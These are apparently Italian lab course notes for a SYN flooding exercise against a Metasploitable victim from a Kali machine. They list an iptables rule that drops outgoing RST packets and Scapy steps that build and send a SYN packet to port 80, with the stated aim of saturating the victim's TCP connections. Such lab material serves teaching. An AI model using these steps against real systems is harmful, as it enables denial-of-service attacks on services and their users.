Esercitazione 3 - Syn flooding

Obiettivo: saturare le connessioni Tcp della vittima.

sudo iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP:
serve per eliminare i pacchetti di reset che invia il kernel

sudo iptables -L: visualizza la tabella

Creare due pacchetti, IP e TCP, con Scapy:
1- IPpack = IP()
   IPpack.src = “ip kali cattivo”
   IPpack.dst = “ip vittima (meta)”

2- TCPpack = TCP()
   TCPpack.flags = “S” {S (syn), F (fin), A (ack)}
   TCPpack.dport = 80 (porta di HTTP)

3- send(IPpack/TCPpack)